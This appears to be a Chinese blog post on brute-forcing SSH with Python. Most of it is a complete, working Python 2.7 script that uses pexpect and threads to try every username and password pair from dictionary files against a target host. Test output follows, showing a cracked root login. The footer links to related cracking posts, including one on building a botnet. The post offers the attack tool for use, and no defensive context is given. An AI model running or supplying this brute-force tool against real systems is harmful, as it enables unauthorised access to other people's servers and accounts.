利用python暴力破解ssh
# -*- coding:utf-8 -*-
#python 2.7 import optparse,sys,threading
import pexpect PROMPT = ['#','>','/$']
def ssh(host,user,password):
child = pexpect.spawn('ssh %s@%s' % (user,host))
ret = child.expect(['(?i)are you sure.*','(?i)password:',pexpect.TIMEOUT,pexpect.EOF])
#print child.before
if ret == 0:
child.sendline('yes')
child.expect('[pP]ssword:')
child.sendline(password)
try:
ret0 = child.expect(PROMPT)
if ret0 in (0,1,2):
#print child.before
print '[+] 已经连接0'
print '<*>用户是:' + user
print '<*>密码是:' + password
#return child
except:
print '[-]连接失败0,密码错误!'
elif ret == 1:
child.sendline(password)
try:
ret1 = child.expect(PROMPT)
print child.before
if ret1 in (0,1,2):
#print child.before
print '[+] 已经连接1'
print '<*>用户是:' + user
print '<*>密码是:' + password
#return child
except:
print '[-]连接失败1,用户或密码错误!'
else:
print '[-] 连接失败2' def main():
usage = 'Usage:%prog <-H host> <-U user.txt> <-D dictionary.txt>'
parser = optparse.OptionParser(usage,version='%prog v1.0')
parser.add_option('-H',dest='target_host',type='string',
help='目标主机')
parser.add_option('-U',dest='user',type='string',
help='ssh用户')
parser.add_option('-D',dest='dictionary',type='string',
help='密码字典')
(options,args) = parser.parse_args()
if (not options.target_host) | (not options.user) | (not options.dictionary):
print parser.usage
exit(0)
else:
target_host = options.target_host
users = options.user
passwords = options.dictionary
users = open(users)
passwords = open(passwords)
#i = 0
for user in users:
user = user.strip('\r\n')
#print user + str(i)
#i = i + 1
passwords.seek(0)#回到密码文件行首
for password in passwords:
password = password.strip('\r\n')
#print user
t = threading.Thread(target=ssh,args=(target_host,user,password))
t.start() if __name__ == '__main__':
main()
测试运行结果为:
python Sshconector.py -H 127.0.0.1 -U user.txt -D password.txt Linux HOSTKALI 3.18.0-kali1-amd64
[+] 已经连接1
<*>用户是:root
<*>密码是:xxxxxxx
[-]连接失败1,用户或密码错误!
[-]连接失败1,用户或密码错误!
[-]连接失败1,用户或密码错误!
[-]连接失败1,用户或密码错误!
[-]连接失败1,用户或密码错误!
[-]连接失败1,用户或密码错误!
[-]连接失败1,用户或密码错误!
[-]连接失败1,用户或密码错误!
[-]连接失败1,用户或密码错误!
[-]连接失败1,用户或密码错误!
[-]连接失败1,用户或密码错误!
利用python暴力破解ssh的更多相关文章
- 利用python暴力破解压缩文件密码
import randomimport sysimport zipfileimport timefrom threading import Threadfrom multiprocessing imp ...
- Python脚本暴力破解SSH口令以及构建僵尸网络(pxssh)
目录 暴力破解SSH口令 SSH远端执行命令 构建僵尸网络 环境:Kali Linux python 2.7.13 暴力破解SSH口令 Pxssh是pexpect库的ssh专用脚本,他能用预先写好的 ...
- centos 7 DenyHosts 安装 防暴力破解ssh登陆
为了减少软件扫描ssh登陆 还是用这个比较好点 默认端口号22 也要改 登陆密码也不要使用 弱口令 123456 这样的 Description DenyHosts is a python prog ...
- python 暴力破解密码脚本
python 暴力破解密码脚本 以下,仅为个人测试代码,环境也是测试环境,暴力破解原理都是一样的, 假设要暴力破解登陆网站www.a.com 用户 testUser的密码, 首先,该网站登陆的验证要支 ...
- 10小时之内,暴力破解SSH账号的IP
10小时之内,暴力破解SSH账号的IP,IP 地址数据来源于 ip138.com 182.18.76.246 北京市昌平区 北京亿安天下网络科技有限公司 联通 221.223.200.143 北京市 ...
- 分享一个撩妹、装13神技能,0基础用Python暴力破解WiFi密码
WiFi密码Python暴力破解 Python密码破解部分截图 获取视频资料,转发此文+点击喜欢,然后获取资料请加Python交流群:580478401,就可以获取视频教程+源码 环境准备: py ...
- 使用Medusa美杜莎暴力破解SSH密码
使用Medusa美杜莎暴力破解SSH密码 1.Medusa简介 Medusa(美杜莎)是一个速度快,支持大规模并行,模块化的爆力破解工具.可以同时对多个主机,用户或密码执行强力测试.Medusa和hy ...
- Linux 利用hosts.deny 防止暴力破解ssh
一.ssh暴力破解 利用专业的破解程序,配合密码字典.登陆用户名,尝试登陆服务器,来进行破解密码,此方法,虽慢,但却很有效果. 二.暴力破解演示 2.1.基础环境:2台linux主机(centos 7 ...
- Linux 利用hosts.deny 防止暴力破解ssh(转)
一.ssh暴力破解 利用专业的破解程序,配合密码字典.登陆用户名,尝试登陆服务器,来进行破解密码,此方法,虽慢,但却很有效果. 二.暴力破解演示 2.1.基础环境:2台linux主机(centos 7 ...
随机推荐
- Debian7安装msf
安装metasploit curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templa ...
- 用python计算100以内的素数
用python计算100以内的素数 : break else: list.append(i)print(list)
- Percona XtraBackup 2.4新特性之恢复单个表数据
参考文档:https://www.percona.com/doc/percona-xtrabackup/2.4/xtrabackup_bin/restoring_individual_tables.h ...
- 【扫描线或树状数组】CSU 1335 高桥和低桥
http://acm.csu.edu.cn/csuoj/problemset/problem?pid=1335 [题意] 给定n座桥的高度,给定m次洪水每次的涨水水位ai和退水水位bi 询问有多少座桥 ...
- ArrayList构造函数有哪些
ArrayList 构造函数有(三种): public ArrayList(int initialCapacity) public ArrayList() public ArrayList(Colle ...
- [暑假集训--数位dp]hdu3652 B-number
A wqb-number, or B-number for short, is a non-negative integer whose decimal form contains the sub- ...
- vue elementUI 表单校验(数组多层嵌套)
在使用vue element-ui form表单渲染的时候,会遇到这样的数据结构: { "title":''123455, "email":'123456@qq ...
- 洛谷P2365 任务安排 [解法一]
题目描述 N个任务排成一个序列在一台机器上等待完成(顺序不得改变),这N个任务被分成若干批,每批包含相邻的若干任务.从时刻0开始,这些任务被分批加工,第i个任务单独完成所需的时间是Ti.在每批任务开始 ...
- 16.1112 模拟考试 T1
加密[问题描述]有一种不讲道理的加密方法是: 在字符串的任意位置随机插入字符. 相应的,不讲道理的解密方法就是从字符串中恰好删去随机插入的那些字符.给定原文s和加密后的字符串t,求?有多少子串可以通过 ...
- 关于事件委托和时间冒泡(以及apply和call的事项)
搜索事件委托和事件冒泡,网上一大堆乱七八糟的解释,当然意思都对,没毛病. but,真的无聊. 事件冒泡:事件会从点击的元素开始依次向上流出,直到html,遇见事件监听则执行. 事件委托:原因——父元素 ...